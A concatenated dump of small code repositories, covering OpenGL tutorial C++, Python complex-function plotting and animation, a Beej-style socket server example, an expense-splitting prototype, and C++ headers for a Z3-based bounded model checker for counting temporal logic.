render.create_webm(path + ".1536", file_names, fps=FPS, bitrate='2048k') render.create_webm(path + ".1024", file_names, fps=FPS, bitrate='1024k') rmtree(TEMP_DIR) plt.close('all') <file_sep>/tut-opengl/test.c #include <glad/glad.h> #include <GLFW/glfw3.h> #define STB_IMAGE_IMPLEMENTATION #include "stb_image.h" #include "filesystem.h" #include <glm/glm.hpp> #include <glm/gtc/matrix_transform.hpp> #include <glm/gtc/type_ptr.hpp> #include "shader.h" #include <iostream> void framebuffer_size_callback(GLFWwindow* window, int width, int height); void processInput(GLFWwindow *window); // settings const unsigned int SCR_WIDTH = 800; const unsigned int SCR_HEIGHT = 600; int main() { // glfw: initialize and configure // ------------------------------ glfwInit(); glfwWindowHint(GLFW_CONTEXT_VERSION_MAJOR, 3); glfwWindowHint(GLFW_CONTEXT_VERSION_MINOR, 3); glfwWindowHint(GLFW_OPENGL_PROFILE, GLFW_OPENGL_CORE_PROFILE); #ifdef __APPLE__ glfwWindowHint(GLFW_OPENGL_FORWARD_COMPAT, GL_TRUE); // uncomment this statement to fix compilation on OS X #endif // glfw window creation // -------------------- GLFWwindow* window = glfwCreateWindow(SCR_WIDTH, SCR_HEIGHT, "LearnOpenGL", NULL, NULL); if (window == NULL) { std::cout << "Failed to create GLFW window" << std::endl; glfwTerminate(); return -1; } glfwMakeContextCurrent(window); glfwSetFramebufferSizeCallback(window, framebuffer_size_callback); // glad: load all OpenGL function pointers // --------------------------------------- if (!gladLoadGLLoader((GLADloadproc)glfwGetProcAddress)) { std::cout << "Failed to initialize GLAD" << std::endl; return -1; } // configure global opengl state // ----------------------------- glEnable(GL_DEPTH_TEST); // build and compile our shader zprogram // ------------------------------------ Shader ourShader("6.3.coordinate_systems.vs", "6.3.coordinate_systems.fs"); // set up vertex data (and buffer(s)) and configure vertex attributes // ------------------------------------------------------------------ float vertices[] = { -0.5f, -0.5f, -0.5f, 0.0f, 0.0f, 0.5f, -0.5f, -0.5f, 1.0f, 0.0f, 0.5f, 0.5f, -0.5f, 1.0f, 1.0f, 0.5f, 0.5f, -0.5f, 1.0f, 1.0f, -0.5f, 0.5f, -0.5f, 0.0f, 1.0f, -0.5f, -0.5f, -0.5f, 0.0f, 0.0f, -0.5f, -0.5f, 0.5f, 0.0f, 0.0f, 0.5f, -0.5f, 0.5f, 1.0f, 0.0f, 0.5f, 0.5f, 0.5f, 1.0f, 1.0f, 0.5f, 0.5f, 0.5f, 1.0f, 1.0f, -0.5f, 0.5f, 0.5f, 0.0f, 1.0f, -0.5f, -0.5f, 0.5f, 0.0f, 0.0f, -0.5f, 0.5f, 0.5f, 1.0f, 0.0f, -0.5f, 0.5f, -0.5f, 1.0f, 1.0f, -0.5f, -0.5f, -0.5f, 0.0f, 1.0f, -0.5f, -0.5f, -0.5f, 0.0f, 1.0f, -0.5f, -0.5f, 0.5f, 0.0f, 0.0f, -0.5f, 0.5f, 0.5f, 1.0f, 0.0f, 0.5f, 0.5f, 0.5f, 1.0f, 0.0f, 0.5f, 0.5f, -0.5f, 1.0f, 1.0f, 0.5f, -0.5f, -0.5f, 0.0f, 1.0f, 0.5f, -0.5f, -0.5f, 0.0f, 1.0f, 0.5f, -0.5f, 0.5f, 0.0f, 0.0f, 0.5f, 0.5f, 0.5f, 1.0f, 0.0f, -0.5f, -0.5f, -0.5f, 0.0f, 1.0f, 0.5f, -0.5f, -0.5f, 1.0f, 1.0f, 0.5f, -0.5f, 0.5f, 1.0f, 0.0f, 0.5f, -0.5f, 0.5f, 1.0f, 0.0f, -0.5f, -0.5f, 0.5f, 0.0f, 0.0f, -0.5f, -0.5f, -0.5f, 0.0f, 1.0f, -0.5f, 0.5f, -0.5f, 0.0f, 1.0f, 0.5f, 0.5f, -0.5f, 1.0f, 1.0f, 0.5f, 0.5f, 0.5f, 1.0f, 0.0f, 0.5f, 0.5f, 0.5f, 1.0f, 0.0f, -0.5f, 0.5f, 0.5f, 0.0f, 0.0f, -0.5f, 0.5f, -0.5f, 0.0f, 1.0f }; // world space positions of our cubes glm::vec3 cubePositions[] = { glm::vec3( 0.0f, 0.0f, 0.0f), glm::vec3( 2.0f, 5.0f, -15.0f), glm::vec3(-1.5f, -2.2f, -2.5f), glm::vec3(-3.8f, -2.0f, -12.3f), glm::vec3( 2.4f, -0.4f, -3.5f), glm::vec3(-1.7f, 3.0f, -7.5f), glm::vec3( 1.3f, -2.0f, -2.5f), glm::vec3( 1.5f, 2.0f, -2.5f), glm::vec3( 1.5f, 0.2f, -1.5f), glm::vec3(-1.3f, 1.0f, -1.5f) }; unsigned int VBO, VAO; glGenVertexArrays(1, &VAO); glGenBuffers(1, &VBO); glBindVertexArray(VAO); glBindBuffer(GL_ARRAY_BUFFER, VBO); glBufferData(GL_ARRAY_BUFFER, sizeof(vertices), vertices, GL_STATIC_DRAW); // position attribute glVertexAttribPointer(0, 3, GL_FLOAT, GL_FALSE, 5 * sizeof(float), (void*)0); glEnableVertexAttribArray(0); // texture coord attribute glVertexAttribPointer(1, 2, GL_FLOAT, GL_FALSE, 5 * sizeof(float), (void*)(3 * sizeof(float))); glEnableVertexAttribArray(1); // load and create a texture // ------------------------- unsigned int texture1, texture2; // texture 1 // --------- glGenTextures(1, &texture1); glBindTexture(GL_TEXTURE_2D, texture1); // set the texture wrapping parameters glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_REPEAT); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_REPEAT); // set texture filtering parameters glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR); // load image, create texture and generate mipmaps int width, height, nrChannels; stbi_set_flip_vertically_on_load(true); // tell stb_image.h to flip loaded texture's on the y-axis. unsigned char *data = stbi_load(FileSystem::getPath("resources/textures/container.jpg").c_str(), &width, &height, &nrChannels, 0); if (data) { glTexImage2D(GL_TEXTURE_2D, 0, GL_RGB, width, height, 0, GL_RGB, GL_UNSIGNED_BYTE, data); glGenerateMipmap(GL_TEXTURE_2D); } else { std::cout << "Failed to load texture" << std::endl; } stbi_image_free(data); // texture 2 // --------- glGenTextures(1, &texture2); glBindTexture(GL_TEXTURE_2D, texture2); // set the texture wrapping parameters glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_REPEAT); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_REPEAT); // set texture filtering parameters glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR); // load image, create texture and generate mipmaps data = stbi_load(FileSystem::getPath("resources/textures/awesomeface.png").c_str(), &width, &height, &nrChannels, 0); if (data) { // note that the awesomeface.png has transparency and thus an alpha channel, so make sure to tell OpenGL the data type is of GL_RGBA glTexImage2D(GL_TEXTURE_2D, 0, GL_RGB, width, height, 0, GL_RGBA, GL_UNSIGNED_BYTE, data); glGenerateMipmap(GL_TEXTURE_2D); } else { std::cout << "Failed to load texture" << std::endl; } stbi_image_free(data); // tell opengl for each sampler to which texture unit it belongs to (only has to be done once) // ------------------------------------------------------------------------------------------- ourShader.use(); ourShader.setInt("texture1", 0); ourShader.setInt("texture2", 1); // render loop // ----------- while (!glfwWindowShouldClose(window)) { // input // ----- processInput(window); // render // ------ glClearColor(0.2f, 0.3f, 0.3f, 1.0f); glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT); // also clear the depth buffer now! // bind textures on corresponding texture units glActiveTexture(GL_TEXTURE0); glBindTexture(GL_TEXTURE_2D, texture1); glActiveTexture(GL_TEXTURE1); glBindTexture(GL_TEXTURE_2D, texture2); // activate shader ourShader.use(); // create transformations glm::mat4 view; glm::mat4 projection; projection = glm::perspective(glm::radians(45.0f), (float)SCR_WIDTH / (float)SCR_HEIGHT, 0.1f, 100.0f); view = glm::translate(view, glm::vec3(0.0f, 0.0f, -3.0f)); // pass transformation matrices to the shader ourShader.setMat4("projection", projection); // note: currently we set the projection matrix each frame, but since the projection matrix rarely changes it's often best practice to set it outside the main loop only once. ourShader.setMat4("view", view); // render boxes glBindVertexArray(VAO); for (unsigned int i = 0; i < 10; i++) { // calculate the model matrix for each object and pass it to shader before drawing glm::mat4 model; model = glm::translate(model, cubePositions[i]); float angle = 20.0f * i; model = glm::rotate(model, glm::radians(angle), glm::vec3(1.0f, 0.3f, 0.5f)); ourShader.setMat4("model", model); glDrawArrays(GL_TRIANGLES, 0, 36); } // glfw: swap buffers and poll IO events (keys pressed/released, mouse moved etc.) // ------------------------------------------------------------------------------- glfwSwapBuffers(window); glfwPollEvents(); } // optional: de-allocate all resources once they've outlived their purpose: // ------------------------------------------------------------------------ glDeleteVertexArrays(1, &VAO); glDeleteBuffers(1, &VBO); // glfw: terminate, clearing all previously allocated GLFW resources. // ------------------------------------------------------------------ glfwTerminate(); return 0; } // process all input: query GLFW whether relevant keys are pressed/released this frame and react accordingly // --------------------------------------------------------------------------------------------------------- void processInput(GLFWwindow *window) { if (glfwGetKey(window, GLFW_KEY_ESCAPE) == GLFW_PRESS) glfwSetWindowShouldClose(window, true); } // glfw: whenever the window size changed (by OS or user resize) this callback function executes // --------------------------------------------------------------------------------------------- void framebuffer_size_callback(GLFWwindow* window, int width, int height) { // make sure the viewport matches the new window dimensions; note that width and // height will be significantly larger than specified on retina displays. glViewport(0, 0, width, height); } <file_sep>/graph/plot.py #!/usr/bin/env python import matplotlib.pyplot as plt import numpy as np import dcoloring import cv2 WIDTH = 12 HEIGHT = 24 HEIGHT_OFFSET = 11 POINTS_PER_DIM = 2048 x, y = np.ogrid[ -WIDTH / 2:WIDTH / 2:POINTS_PER_DIM/2 * 1j, HEIGHT_OFFSET + (-HEIGHT / 2):HEIGHT_OFFSET + (HEIGHT / 2):POINTS_PER_DIM * 1j ] fig = plt.figure() ax = fig.add_subplot(111) z = x + 1j * y z_img = dcoloring.colorize(np.vectorize(dcoloring.zeta)(z, E=1e-9), grid=False) ax.set(title='f(z)') ax.imshow(z_img, extent=( -WIDTH / 2, WIDTH / 2, HEIGHT_OFFSET + (-HEIGHT / 2), HEIGHT_OFFSET + (HEIGHT / 2) )) path = 'f(z).png' fig.savefig(path, dpi=1600, transparent=True) # Resize for aliasing img = cv2.imread(path) img = cv2.resize(img, (int(img.shape[1] / 4), int(img.shape[0] / 4)), interpolation=cv2.INTER_AREA) cv2.imwrite(path, img) <file_sep>/graph/interp2.py #!/usr/bin/env python import os from shutil import rmtree import matplotlib.pyplot as plt import numpy as np import cv2 import dcoloring, render from funcs import * WIDTH = 16 HEIGHT = 16 POINTS_PER_DIM = 2048 FRAMES = 480 FPS = 60 BACK_FORTH = True TEMP_DIR = 'temp2' OUT_DIR = 'out2' if not os.path.exists(OUT_DIR): os.makedirs(OUT_DIR) x, y = np.ogrid[ -WIDTH/2:WIDTH/2:POINTS_PER_DIM*1j, -HEIGHT/2:HEIGHT/2:POINTS_PER_DIM*1j ] z = x + 1j*y # 0 to 1 inclusive lerp = np.arange(0.0, 1.0 + 1.0/FRAMES/2, 1.0/FRAMES) cerp = dcoloring.cos_interpolation(lerp) ucircle = np.exp(2j * np.pi * lerp) # func_name = 'z^unitcircle' func_name = "Soft Exponential" print('Processing {}'.format(func_name)) # Perpare plots and function fig = plt.figure() ax = fig.add_subplot(111) # Set interpolation and animate transition between two complex functions file_names = [] path = OUT_DIR + '/' + func_name if not os.path.exists(TEMP_DIR): os.makedirs(TEMP_DIR) log_base = 2.0 # np.exp(2*np.pi/6) for idx in range(0, len(cerp)): c = 2 * cerp[idx] - 1 if idx == FRAMES/2: c = 0.0 w = soft_exponential(c, z) cfunc_plot = dcoloring.colorize(w, log_base=log_base, grid=False) ax.clear() ax.imshow(cfunc_plot, extent=(-WIDTH/2, WIDTH/2, -HEIGHT/2, HEIGHT/2)) ax.set(title='Soft Exponential f({: 4.2f}, z)'.format(round(c, 2))) # Save frame print('Rendering frame {0:{2}}/{1:{2}}'.format(idx, FRAMES, int(np.log10(FRAMES) + 1))) temp_path = '{}/frame.{}.png'.format(TEMP_DIR, idx) fig.savefig(temp_path, dpi=1000, transparent=True) file_names.append(temp_path) # Resize for aliasing img = cv2.imread(temp_path) img = cv2.resize(img, (int(img.shape[1]/8), int(img.shape[0]/8)), interpolation=cv2.INTER_AREA) cv2.imwrite(temp_path, img) # Save image of complete function if idx in (0, 120, 240, 360): img_path = '{}.{}.png'.format(path, idx) fig.savefig(img_path, dpi=1600, transparent=True) img = cv2.imread(img_path) img = cv2.resize(img, (int(img.shape[1]/4), int(img.shape[0]/4)), interpolation=cv2.INTER_AREA) cv2.imwrite('{}.{}.png'.format(path, idx), img) if BACK_FORTH: file_names = file_names + list(reversed(file_names[1:-1])) print("Rendering {} frames to {}".format(len(file_names), path)) render.create_webm(path + ".8162", file_names, fps=FPS, bitrate='8162k') render.create_webm(path + ".2048", file_names, fps=FPS, bitrate='2048k') render.create_webm(path + ".1536", file_names, fps=FPS, bitrate='2048k') render.create_webm(path + ".1024", file_names, fps=FPS, bitrate='1024k') rmtree(TEMP_DIR) plt.close('all') <file_sep>/graph/funcs.py import numpy as np import math as N def soft_exponential(a, x): c = np.full_like(x, a) conditions = [ c < 0, c == 0, c > 0 ] functions = [ lambda w: -np.log(1-a*(w+a))/a, lambda w: w, lambda w: (np.exp(a*w)-1)/a + a ] return np.piecewise(x, conditions, functions) # Zeta func from https://codegolf.stackexchange.com/a/76246 def zeta_func(z, e=1e-9): r = z.real i = z.imag R = I = n = 0 a = b = 1 while a * a + b * b > e: a = b = 0 p = 1 m = 2 ** (-n-1) for k in range(1, n + 2): M = p / k ** r p *= (k - 1 - n) / k t = -i * N.log(k) a += M * N.cos(t) b += M * N.sin(t) a *= m b *= m R += a I += b n += 1 A = 2 ** (1-r) t = -i * N.log(2) x = 1 - A * N.cos(t) y = A * N.sin(t) d = x * x + y * y if d != 0: return ((R * x - I * y) / d) + ((R * y + I * x) / d) * 1j else: return complex("nan")+complex("nanj") zeta = np.vectorize(zeta_func) <file_sep>/networking/test1.c #include <stdio.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> #include <unistd.h> #define MYPORT "3490" // the port users will be connecting to #define BACKLOG 10 // how many pending connections queue will hold int main(void) { struct sockaddr_storage their_addr; socklen_t addr_size; struct addrinfo hints, *res; int sockfd, new_fd; // !! don't forget your error checking for these calls !! // first, load up address structs with getaddrinfo(): memset(&hints, 0, sizeof hints); hints.ai_family = AF_UNSPEC; // use IPv4 or IPv6, whichever hints.ai_socktype = SOCK_STREAM; hints.ai_flags = AI_PASSIVE; // fill in my IP for me getaddrinfo(NULL, MYPORT, &hints, &res); // make a socket, bind it, and listen on it: sockfd = socket(res->ai_family, res->ai_socktype, res->ai_protocol); printf("1-sfd: %d\n", sockfd); bind(sockfd, res->ai_addr, res->ai_addrlen); listen(sockfd, BACKLOG); // now accept an incoming connection: addr_size = sizeof their_addr; new_fd = accept(sockfd, (struct sockaddr *)&their_addr, &addr_size); printf("1-nfd: %d\n", new_fd); // ready to communicate on socket descriptor new_fd! char *msg = "Beej was here!\n"; int len, bytes_sent; len = strlen(msg); bytes_sent = send(new_fd, msg, len, 0); printf("1-sen: %d\n", bytes_sent); close(new_fd); close(sockfd); return 0; }
bccd3ff5ba50245b57eef685efffa6aebc8ea2bf
[ "TOML", "Rust", "Python", "Text", "C" ]
13
C
vankessel/sandbox
5c730644bf211e11c42f13e7f37555a7c5dd696f
2caac1eabfef153603a5b62a5f0ab435b6ed320a
refs/heads/master
<repo_name>kordejong/going_dutch<file_sep>/sources/prototype/dutch_treat.py #!/usr/bin/env python import sys class Spender(object): def __init__(self, name): self.name = name self.amount = 0.0 class Spenders(dict): def __init__(self, names=[]): for name in names: self[name] = Spender(name) def amount_spent(self): return sum([spender.amount for spender in self.values()]) class Receiver(object): def __init__(self, name): self.name = name self.amount = 0.0 class Receivers(list): def __init__(self, names): list.__init__(self, [Receiver(name) for name in names]) self.spender_names = set() self.amounts = [] self.descriptions = [] def add_amount(self, amount, description): self.amounts.append(amount) self.descriptions.append(description) for receiver in self: receiver.amount += amount / len(self) def amount_received_per_person(self): return sum(self.amounts) / len(self) class Transaction(object): def __init__(self, amount, spender_name, receiver_name): self.amount = amount self.spender_name = spender_name self.receiver_name = receiver_name class Transactions(list): def __init__(self): list.__init__(self) def normalize(self): """ If a receiver needs to transfer money to a spender, which in turn needs to transfer money to the receiver again, this function will normalize these transactions so only one transaction remains. """ while True: nr_transactions = len(self) # TODO Find transactions to merge. if nr_transactions == len(self): break spenders = Spenders() receivers = {} for line in sys.stdin: spender_name, amount, receiver_names, description = line.split('\t') spender_name = spender_name.strip() amount = float(amount) assert amount > 0.0 # Collect amounts spent per person. if not spender_name in spenders: spenders[spender_name] = Spender(spender_name) spenders[spender_name].amount += amount # Collect amounts received per group of persons. receiver_names = [name.strip() for name in receiver_names.split(",")] assert len(receiver_names) > 0 receiver_names.sort() group_id = ", ".join(receiver_names) if not group_id in receivers: receivers[group_id] = Receivers(receiver_names) receivers[group_id].add_amount(amount, description) receivers[group_id].spender_names.add(spender_name) received_by_name = {} for group_id in receivers: for benificary in receivers[group_id]: received_by_name[benificary.name] = received_by_name.get( benificary.name, 0.0) + \ receivers[group_id].amount_received_per_person() print("Spenders (total: {}):".format(spenders.amount_spent())) for name in spenders: print(" {} spent {}".format(name, spenders[name].amount)) print("Receivers (total: {}):".format(sum(received_by_name.values()))) for name in received_by_name: print(" {} received {}".format(name, received_by_name[name])) assert spenders.amount_spent() - sum(received_by_name.values()) < 0.01 # Make sure that everybody who spent money, receives an equal amount from the # ones who received money. Skip when the receiver equals the spender. transactions = Transactions() for group_id in receivers: # Group of receivers that received money from a spender. receiver_group = receivers[group_id] for spender_name in receiver_group.spender_names: spender = spenders[spender_name] for receiver in receiver_group: if receiver.amount > 0: amount_payed_back = receiver.amount if receiver.amount <= \ spender.amount else spender.amount assert amount_payed_back <= receiver.amount, \ "{} <= {}".format( amount_payed_back, receiver.amount) assert amount_payed_back <= spender.amount, \ "{} <= {}".format( amount_payed_back, spender.amount) receiver.amount -= amount_payed_back spender.amount -= amount_payed_back if receiver.name != spender.name: transactions.append(Transaction(amount_payed_back, spender.name, receiver.name)) # Assert that the spender doesn't gain money. assert spender.amount >= 0, spender.amount if spender.amount < 0.01: break # Assert that the spender is compensated. assert spender.amount < 0.01, spender.amount # Assert that the receiver doesn't gain money. for group_id in receivers: for receiver in receivers[group_id]: assert receiver.amount < 0.01, receiver.amount print("Raw transactions:") for transaction in transactions: print(" {} pays {} to {}".format(transaction.receiver_name, transaction.amount, transaction.spender_name)) transactions.normalize() print("Normalized transactions:") for transaction in transactions: print(" {} pays {} to {}".format(transaction.receiver_name, transaction.amount, transaction.spender_name)) <file_sep>/README.md going_dutch =========== Utility to calculate the money flows after a group trip. This little project contains a command line utility that prints out a table with money flows, given a table with amounts spent by group members. It handles the situation that people join and leave the group during the trip.
3a3216f7b77dd3d0ee6b3518e62b3cd8d9103202
[ "Markdown", "Python" ]
2
Python
kordejong/going_dutch
da64b60775b20753e75e6963c0294ca106815fb5
c6bafc3249213bf694bcf7246aab36e43a13e517
refs/heads/master
<repo_name>sheerazuddins/CountTL-BMC<file_sep>/counttl-formula.h //#include<cstdio> //#include<cstring> //#include<cstdlib> //#include<cmath> #include<iostream> #include<string> #include<stack> #include<set> #include<map> #include <z3++.h> //using namespace std; //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- typedef struct FTree { int type; //-------------------------------------------------------------------------------------------------- //type can either be 0 (leaf or proposition) or 1 (unary opearator) or 2(binary operator) or 3 (quantifier) or 4 (counting quantifier)or 5 (predicate)-------we can make type as enum with 6 values, instead. //-------------------------------------------------------------------------------------------------- //if type is 4 (counting quantifier) then val field is irrelevant -- the relevant info is whether it is > or <= and the bound k //-------------------------------------------------------------------------------------------------- bool ctype; //-------------------------------------------------------------------------------------------------- // counting quantifier type --- 0 means > and 1 means <= //-------------------------------------------------------------------------------------------------- int bound; // the k value in counting quantifier //-------------------------------------------------------------------------------------------------- //------------------The following fields are not needed for Counting Temporal Logic----------------- //-------------------------------------------------------------------------------------------------- // bool subd;//0 for not substituted 1 for substituted---useful only when type is 0 // unsigned model;//model as a positive integer; can be converted to boolean std::string whenever needed---- refers to the object in the MFO model. // unsigned copy;//copy of the model above -- present due to occurrence of = (equality) symbol in the logic, not needed otherwise // unsigned num;//num=R*model+copy----where R is the max value copy can take, actually the number of variables of the type client in the formula. //-------------------------------------------------------------------------------------------------- std::string val; //-------------------------------------------------------------------------------------------------- //variable or operator (logical or temporal) //-------------------------------------------------------------------------------------------------- std::string client; //-------------------------------------------------------------------------------------------------- //client type as string //-------------------------------------------------------------------------------------------------- int iclient; //-------------------------------------------------------------------------------------------------- //client type in numbers //-------------------------------------------------------------------------------------------------- struct FTree* parent; struct FTree* left; struct FTree* right; struct FTree* next; //-------------------------------------------------------------------------------------------------- //----------------------------------------GET FUNCTIONS--------------------------------------------- //-------------------------------------------------------------------------------------------------- int get_type(){return type;}; bool get_ctype(){return ctype;}; int get_bound(){return bound;}; std::string get_val(){return val;}; std::string get_client(){return client;}; int get_iclient(){return iclient;}; struct FTree* get_parent(){return parent;}; struct FTree* get_left(){return left;}; struct FTree* get_right(){return right;}; struct FTree* get_next(){return next;}; //-------------------------------------------------------------------------------------------------- //----------------------------------------SET FUNCTIONS--------------------------------------------- //-------------------------------------------------------------------------------------------------- void set_type(int t){this->type=t;}; void set_ctype(bool ct){this->ctype=ct;}; void set_bound(int b){this->bound=b;}; void set_val(std::string v){this->val=v;}; void set_client(std::string c){this->client=c;}; void set_iclient(int ic){this->iclient=ic;}; void set_parent(struct FTree* p){this->parent=p;}; void set_left(struct FTree* l){this->left=l;}; void set_right(struct FTree* r){this->right=r;}; void set_next(struct FTree* n){this->next=n;}; }FTree; //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- class Formula{ protected: std::string FormulaText; FTree* FormulaTree; FTree* NNFormula; // FTree* QEFTree;//This is not needed ---- for Counting Temporal Logic int NoOfCltTypes; int MaxBound;//This is no longer needed -- when we have MaxBoundList? int NoOfCntQntfrs;//Is this needed ? std::set<std::string> PredList; std::set<std::string> VarList; std::map<std::string,int> PredNum; std::map<std::string,int> VarNum; std::map<std::string,int> ClientList;//Each client type is numbered. Used, in turn, to assign a counter. std::map<std::string,int> MaxBoundList;//MaxBound for each Client type public: Formula(){};//Constructor Formula(std::string InExp){FormulaText=InExp;};//Parameterized Constructor ~Formula(){};//Destructor bool ftree_convert(); bool construct_nnf(); // bool quant_elim();----Not needed for Counting Temporal Logic FTree* get_ftree(){return copy(FormulaTree);}; // FTree* get_qe_ftree(){return copy(QEFTree);};----Not needed for Counting Temporal Logic int get_bound(); std::map <std::string,int> compute_bounds(); void display_ftree(); void display_ftree_pre(); // void display_ftree_sub(); // void display_ftree_pre_sub(); void display_lists(); void display_nums(); //display_ft(FTree*) and display_ft_pre(FTree*) should not be public static void display_ft(FTree*);//static as we need only one copy of this method static void display_ft_pre(FTree*);//static as we need only one copy of this method // static void display_ft_sub(FTree*);//static as we need only one copy of this method // static void display_ft_pre_sub(FTree*);//static as we need only one copy of this method static FTree* copy(FTree*); static FTree* negate(FTree*); // FTree* eliminate_quantifier(FTree*);----Not needed for Counting Temporal Logic FTree* const_nnf(FTree*,int); protected: int isoperator(char); int op_prcd(char); int op_type(char); // void substitute(FTree*,std::string,int,int,int);----Not needed for Counting Temporal Logic bool add_variable_to_formula_info(std::string,std::string); void add_predicate_to_formula_info(std::string,std::string); }; //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- <file_sep>/bmc-counttl.h #include "counttl-formula.h" using namespace z3; //--------------------------------------------------------------------------------------------------------------------------------------- //--------------------------------------------------------------------------------------------------------------------------------------- class counttl_bmc{ public: // private: context c;//context class manages all Z3 objects, global configuration options, etc. solver S;//solver class provides methods for sat checking etc. //Z3 expression is used to represent formulas and terms. a formula is any expression of sort Boolean. every expression (formula or term) has to have a sort. sort (aka type) is another Z3 class. expr IF;//formula IF represents the initial states of the state-transition system . expr TF;//formula TF represents the transition function of the state-transition system . expr CountIF;//formula CountIF represents the initial states of the counter system . expr CountTF;//formula CountTF represents the transition function of the counter system . FTree* CountTLF;//formula tree CountTLF represents the temporal property to be checked for (CountIF,CountTF) int N_s;//N is the number of state variables . int N_c;//N is the number of counter variables . // public: bool init(); // protected: expr instantiate_P_at_k(int k); expr instantiate_CountT_at_k(int k); expr loopFree_at_k(int k);//most probably not needed. void translate(int k); void print_trace(int k); expr translate_CountTL_with_backloop_from_k_to_l(FTree* TLFormula,int k,int l,int i); expr translate_CountTL_for_no_loop(FTree* TLFormula,int k,int i); expr encode_CountTL_property_into_PL(int k); expr compute_loop_constraints_at_k(int k); expr instantiate_CountT_for_loop_constraints(int k,int j); expr encode_into_pl(FTree* TF,int k,int limit);//Does not belong to BMC-LTL Code //exp_vector is vector of expressions defined as typedef ast_vector_tpl<expr>. //class template ast_vector_tpl<T> defines various methods to manipulate generic vectors. expr_vector x; expr_vector y; expr_vector u; expr_vector v; expr_vector ip; expr_vector ipe; expr_vector alpha; expr_vector beta; expr_vector lambda; expr F;//Boolean constant FALSE expr T;//Boolean constant TRUE counttl_bmc(): S(c), IF(c), TF(c), CountIF(c), CountTF(c), x(c), y(c), u(c), v(c), ip(c), ipe(c), alpha(c), beta(c), lambda(c),F(c),T(c){};//constructor ~counttl_bmc(){};//destructor }; //--------------------------------------------------------------------------------------------------------------------------------------- //--------------------------------------------------------------------------------------------------------------------------------------- <file_sep>/counttl-formula-methods.cpp #include "counttl-formula.h" //using namespace std; //--------------------------------------------DISPLAY FUNCTIONS------------------------------------- //-------------------------------------------------------------------------------------------------- void Formula::display_lists() { int i=1; std::set <std::string> :: iterator setIter; std::cout << "\nPredicate List.\n"; for(setIter=PredList.begin();setIter!=PredList.end();setIter++) std::cout << *setIter << std::endl; std::cout << "\nVariable List.\n"; for(setIter=VarList.begin();setIter!=VarList.end();setIter++) std::cout << *setIter << std::endl; //we have to display ClientList and MaxBoundList -- Done. std::map <std::string,int> :: iterator mapIter; std::cout << "\nClient Names... \nClient type: Name/Number\n"; for(mapIter=ClientList.begin();mapIter!=ClientList.end();mapIter++){ std::cout<< i++ <<"th entry->" << mapIter->first << "(Client Type):" << mapIter->second << "(Name/Number)\n"; } std::cout << "\nClient MaxBounds... \nClient type: MaxBound\n"; for(mapIter=MaxBoundList.begin();mapIter!=MaxBoundList.end();mapIter++){ std::cout<< i++ <<"th entry->" << mapIter->first << "(Client Type):" << mapIter->second << "(Bound)\n"; } } void Formula::display_nums() { std::map <std::string,int> :: iterator mapIter; std::cout << "\nPredicates... \nClient type: No. of Predicates\n"; int i=1; for(mapIter=PredNum.begin();mapIter!=PredNum.end();mapIter++){ std::cout<< i++ <<"th entry->" << mapIter->first << "(Client Type):" << mapIter->second << "(No. of Predicates)\n"; } i=1; std::cout << "\nVariables... \nClient type: No. of Variables\n"; for(mapIter=VarNum.begin();mapIter!=VarNum.end();mapIter++){ std::cout << i++ <<"th entry->" << mapIter->first << "(Client Type):" << mapIter->second << "(No. of Variables)\n"; } } //-------------------------------------------------------------------------------------------------- void Formula::display_ftree() { display_ft(FormulaTree); return; } void Formula::display_ftree_pre() { display_ft_pre(FormulaTree); return; } /* void Formula::display_ftree_sub() { display_ft_sub(QEFTree); return; } void Formula::display_ftree_pre_sub() { display_ft_pre_sub(QEFTree); return; } */ //-------------------------------------------------------------------------------------------------- void Formula::display_ft(FTree* FT) { if(FT==NULL){ std::cout <<"\nError in the formula tree.\n"; return; } switch(FT->type){ case 5:// std::cout <<"\nThe node type is " << FT->type << "\n";//monadic predicate std::cout << FT->val; display_ft(FT->next); break; case 4:// std::cout <<"\nThe node type is " << FT->type << "\n";//counting quantifier std::cout << FT->val; if(FT->ctype) std::cout << "<="; else std::cout << ">"; std::cout << FT->bound; display_ft(FT->next); break; case 3:// std::cout <<"\nThe node type is " << FT->type << "\n";//FO quantifier std::cout << FT->val; display_ft(FT->next); break; case 2:// std::cout <<"\nThe node type is " << FT->type << "\n";//binary operator display_ft(FT->left); std::cout << " " << FT->val << " "; display_ft(FT->right); break; case 1:// std::cout <<"\nThe node type is " << FT->type << "\n";//unary operator std::cout << FT->val; display_ft(FT->next); break; case 0:// std::cout <<"\nThe node type is " << FT->type << "\n"; std::cout << FT->val; //the following is needed //if(!FT->client.empty()){ // std::cout << ":"<< FT->client; //} break; default: //std::cout <<"\nError! Type can either be 0, 1 or 2.\n"); break; } } //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- void Formula::display_ft_pre(FTree* FT) { if(FT==NULL){ // //std::cout <<"\nError in the formula tree.\n") return; } switch(FT->type){ case 5:// std::cout <<"\nThe node type is " << FT->type << "\n";//monadic predicate std::cout << FT->val; display_ft_pre(FT->next); break; case 4:// std::cout <<"\nThe node type is " << FT->type << "\n";//counting quantifier std::cout << FT->val; if(FT->ctype) std::cout << "<="; else std::cout << ">"; std::cout << FT->bound; display_ft_pre(FT->next); break; case 3:// std::cout <<"\nThe node type is " << FT->type << "\n";//FO quantifier std::cout << FT->val; display_ft_pre(FT->next); break; case 2:// std::cout <<"\nThe node type is " << FT->type << "\n";//binary operator std::cout << FT->val; display_ft_pre(FT->left); display_ft_pre(FT->right); break; case 1:// std::cout <<"\nThe node type is " << FT->type << "\n";//unary operator std::cout << FT->val; display_ft_pre(FT->next); break; 